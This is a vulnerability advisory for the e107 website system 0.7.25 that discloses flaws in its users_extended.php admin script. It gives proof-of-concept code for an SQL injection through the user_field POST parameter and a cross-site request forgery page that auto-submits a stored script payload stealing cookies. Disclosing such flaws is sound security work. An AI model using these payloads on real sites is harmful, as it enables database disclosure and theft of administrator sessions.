Vulnerability ID: HTB23004
Reference: http://www.htbridge.ch/advisory/multiple_vulnerabilities_in_e107_1.html
Product: e107 website system
Vendor: e107 ( http://e107.org/ )
Vulnerable Version: 0.7.25 and probably prior
Tested on: 0.7.25
Vendor Notification: 25 May 2011
Vulnerability Type: Multiple Vulnerabilities
Risk level: Medium
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )
Vulnerability Details:
Attacker can use browser to exploit this vulnerability. The following PoC code is available:
POST /e107_admin/users_extended.php?cat= HTTP/1.1
Host: HOST
Cookie: <valid session cookies>
Content-Type: application/x-www-form-urlencoded
Content-Length:
user_field=sss','',0, ','','', '0', '253','0','0','253','0','0'),('0',(select user()),'',0,'','','','0','253','0','0','253','0','0'),('0','dfg&user_applicable=253&user_read=0&user_write=253&add_category=Add+category
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/e107_admin/users_extended.php" script to properly sanitize user-supplied input in "user_include" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC code is available::
poc.html
<script>
setTimeout("document.getElementById('f1').src='http://HOST/e107_admin/users_extended.php'",2000);
</script>
<iframe id=f1 src='form.html'></iframe>
form.html
<form method="POST" action="http://HOST/e107_admin/users_extended.php?editext" name=m>
<input type="hidden" name="user_field" value="abcde1f1">
<input type="hidden" name="user_text" value="12121">
<input type="hidden" name="user_type" value="1">
<input type="hidden" name="user_include" value='"><script>alert(document.cookie)</script>'>
<input type="hidden" name="add_field" value="1">
<input type="hidden" name="user_parent" value="0">
<input type="hidden" name="user_required" value="0">
<input type="hidden" name="user_applicable" value="255">
<input type="hidden" name="user_read" value="0">
<input type="hidden" name="user_write" value="253">
<input type="hidden" name="user_hide" value="0">
<input type=submit>
</form>
<script>
document.m.submit();
</script>